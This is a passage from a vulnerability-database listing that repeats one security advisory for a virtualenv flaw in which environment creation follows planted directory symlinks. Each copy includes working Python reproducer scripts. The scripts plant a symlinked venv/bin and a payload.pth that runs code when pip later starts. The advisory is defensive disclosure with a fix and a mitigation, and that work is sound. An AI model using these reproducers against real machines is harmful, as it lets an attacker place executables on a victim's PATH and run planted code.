f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-conda-lock-CVE-2026-113716",
      "modified": "2026-11-19T08:45:29Z",
      "published": "2026-10-29T21:39:28Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "BIT-virtualenv-2026-113716",
        "CVE-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    BREW-HATCH-CVE-2026-113716 (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-22 09:30 – Updated: 2026-11-19 10:09 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.1",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "hatch",
            "purl": "pkg:brew/hatch"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.2.0"
                },
                {
                  "fixed": "1.6.2"
                },
                {
                  "introduced": "1.9.3"
                },
                {
                  "fixed": "1.18.1_2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.1",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.1"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-hatch-CVE-2026-113716",
      "modified": "2026-11-19T10:09:46Z",
      "published": "2026-10-22T09:30:15Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "CVE-2026-113716",
        "BIT-virtualenv-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    BREW-NOX-CVE-2026-113716 (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-22 10:41 – Updated: 2026-11-19 10:29 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
